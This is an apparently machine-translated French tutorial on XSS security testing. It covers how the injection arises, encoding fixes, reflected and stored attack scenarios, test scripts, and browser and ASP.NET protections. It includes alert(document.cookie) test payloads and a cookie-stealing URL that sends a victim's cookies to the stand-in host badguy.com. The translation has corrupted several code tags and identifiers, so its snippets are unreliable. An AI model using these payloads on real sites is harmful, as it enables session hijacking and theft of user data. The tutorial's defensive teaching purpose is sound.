Test de sécurité Web XSS
Le nom complet du Nom complet (script de site croisé) L'attaque de script inter-sites est la vulnérabilité la plus courante dans les programmes Web. Il fait référence à un attaquant intégrant les scripts clients (tels que JavaScript) dans une page Web. Lorsque l'utilisateur parcourt cette page Web, le script sera exécuté sur le navigateur de l'utilisateur, atteignant ainsi l'objectif de l'attaquant. Par exemple, l'obtention des cookies de l'utilisateur, la navigation sur des sites Web malveillants, le transport de chevaux de Troie, etc.
En tant que testeur, vous devez comprendre les principes de XSS, des scénarios d'attaque et comment les réparer. Uniquement en empêchant efficacement les XS.
Contenu de la lecture
Comment se passe XSS
S'il y a une zone de texte ci-dessous
<input type = "text" name = "adresse1" value = "value1from">
Value1From est entrée de l'utilisateur. Si l'utilisateur n'entre pas de valeur1From, mais entre "/><script> aalert(Document.cookie)</script><!- alors il deviendra
<input type = "text" name = "adresse1" value = "" /> <cript> alert (document.cookie) </cript> <! - ">
Le code JavaScript intégré sera exécuté
Ou l'utilisateur entre "onfocus =" alert (document.cookie) alors il deviendra
<input type = "text" name = "adresse1" value = "" onfocus = "alert (document.cookie)">
Lorsque l'événement est déclenché, le code JavaScript intégré sera exécuté
La puissance de l'attaque dépend du script que l'utilisateur saisit
Bien sûr, les données soumises par l'utilisateur peuvent également être envoyées au serveur via la question (placée dans l'URL) et les cookies. Par exemple, la figure suivante
Encoder HTML
XSS se produit parce que les données entrées par l'utilisateur deviennent du code. Nous devons donc effectuer un traitement d'encodage HTML sur les données saisies par l'utilisateur. Encodez des caractères spéciaux tels que "supports", "citations simples" et "Citations".
Les méthodes déjà disponibles sont fournies en C #, il suffit d'appeler httputility.htmLencode ("String <Crritp>"). (Nécessitant l'assemblage du système.web)
Fiddler fournit également un outil très pratique, cliquez sur le bouton "TextWizard" dans la barre d'outils
Scénario d'attaque XSS
1. Le processus d'attaque de vulnérabilité XSS basé sur DOM est le suivant
Tom a découvert une vulnérabilité XSS dans une page dans victime.com.
Par exemple: http://victim.com/search.asp?term=Apple
Le code de la page Search.asp dans le serveur est à peu près le suivant
<Html> <Title> </ Title> <body> Résultats pour <% ReeQuest.Querystring ("Term")%> ... </body> </html>Tom crée d'abord un site Web http://badguy.com pour recevoir des informations de "vol".
Ensuite, Tom construit une URL malveillante (comme suit) et l'envoie à Monica d'une manière ou d'une autre (e-mail, QQ)
http://victim.com/search.asp?term= <Script> window.open ("http://badguy.com?cookie=" + document.cookie) </cript>
Monica clique sur cette URL, et le code JavaScript malveillant intégré à l'URL sera exécuté dans le navigateur de Monica. Ensuite, les cookies de Monica sur le site Web victime.com seront envoyés sur le site Web de Badguy. De cette façon, les informations de Monica sur victime.com ont été volées par Tom.
2. XSS stocké (vulnérabilité XSS stockée), ce type est une vulnérabilité qui est largement utilisée et peut affecter la sécurité des grands serveurs Web. L'attaquant télécharge le script d'attaque sur le serveur Web, ce qui fait que tous les utilisateurs qui accèdent à la page sont confrontés à la possibilité de fuite d'informations. Le processus d'attaque est le suivant
Alex a découvert une vulnérabilité XSS sur le site A qui permet d'enregistrer le code d'attaque dans une base de données.
Alex a publié un article avec un code JavaScript malveillant intégré.
Lorsque d'autres personnes, comme Monica, lors de l'accès à cet article, le code JavaScript malveillant intégré à l'article sera exécuté dans le navigateur de Monica, et ses cookies de session ou d'autres informations seront volés par Alex.
La vulnérabilité XSS basée sur DOM menace les utilisateurs individuels, tandis que les vulnérabilités stockées XSS menaceront un grand nombre d'utilisateurs.
Correction de vulnérabilité XSS
Principe: ne faites pas confiance aux données saisies par le client
Remarque: le code d'attaque n'est pas nécessairement dans <Script> </cript>
Comment tester les vulnérabilités XSS
Méthode 1: afficher le code et trouver des variables clés. Le client transmet des données sur le serveur Web. Généralement, de trois manières, la requête, les formes de forme et les cookies. Par exemple, dans les programmes ASP, les variables du client sont obtenues via l'objet de demande.
<% strudercode = request.queryString ("code"); strusen = request.form ("user"); strid = request.cookies ("id");%>Si la variable n'est pas traitée par htmlencode, il y a une vulnérabilité XSS dans cette variable
Méthode 2: Préparez le script de test,
"/><Script>Alert(Document.cookie)</Script><!--< Script>Alert(Document.cookie)</script><!--"OnClick="Alert(Document.cookie)
Dans la zone de texte ou dans d'autres endroits où les données peuvent être entrées, entrez ces scripts de test pour voir si la boîte de dialogue peut apparaître. S'il peut apparaître, cela signifie qu'il y a une vulnérabilité XSS
Découvrez quelles variables sont transmises au serveur Web via l'URL et renvoyez les valeurs de ces variables à notre script de test. Alors voyez si notre script peut être exécuté
Méthode 3: Testez automatiquement les vulnérabilités XSS
Il existe maintenant de nombreux outils de numérisation XSS disponibles. La mise en œuvre des tests automatisés XSS est très simple, il vous suffit d'utiliser la classe httpwebRequest. Mettez le script de test XSS. Envoyer au serveur Web. Vérifiez ensuite si notre script de test XSS a été injecté dans HttpwebResponse.
La différence entre le codé
Au début, j'ai toujours confondu ces deux choses, mais en fait, ils étaient deux choses différentes.
Le codage HTML a déjà été introduit. Le codage de l'URL est de se conformer aux spécifications de l'URL. Parce que dans la spécification URL standard, le chinois et de nombreux caractères ne sont pas autorisés à apparaître dans l'URL.
Par exemple, recherchez des "caractères chinois" dans Baidu. L'URL deviendra
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputt=7477
Le codage d'URL est: tous les caractères non alphanumériques seront remplacés par un pourcentage de signe (%) suivi de deux nombres hexadécimaux, et les espaces seront codés sous forme de signe plus (+)
Les méthodes déjà disponibles sont fournies en C #, appelez simplement httputility.urlencode ("String <Critp>"). (Nécessitant l'assemblage du système.web)
Fiddler fournit également un outil très pratique, cliquez sur le bouton "TextWizard" dans la barre d'outils
Filtre XSS dans le navigateur
Afin d'éviter que les XS ne se produisent, de nombreux fabricants de navigateurs ont ajouté des mécanismes de sécurité à leurs navigateurs pour filtrer les XS. Par exemple, IE8, IE9, Firefox, Chrome. Tous ont des mécanismes de sécurité pour XSS. Le navigateur bloque XSS. Par exemple, l'image suivante
Si vous devez faire un test, il est préférable d'utiliser IE7.
Mécanisme de sécurité XSS dans ASP.NET
ASP.NET a un mécanisme pour empêcher les XS. Le formulaire soumis vérifiera automatiquement si XSS existe. Lorsque l'utilisateur essaie d'entrer le code XSS, ASP.NET lancera une erreur comme indiqué dans la figure suivante.
De nombreux programmeurs n'ont aucune idée de la sécurité, et ils ne savent même pas qu'il y a des XS. Asp.net est sûr par défaut à ce stade. De cette façon, même les programmeurs sans sensibilisation à la sécurité peuvent écrire un "site Web plus sûr".
Si vous souhaitez désactiver cette fonctionnalité de sécurité, vous pouvez utiliser <% @ page validaterequest = "false"%>
Ce qui précède est le test de sécurité Web XSS. Nous continuerons à organiser des matériaux de test de logiciels pertinents à l'avenir. Merci pour votre soutien à ce site!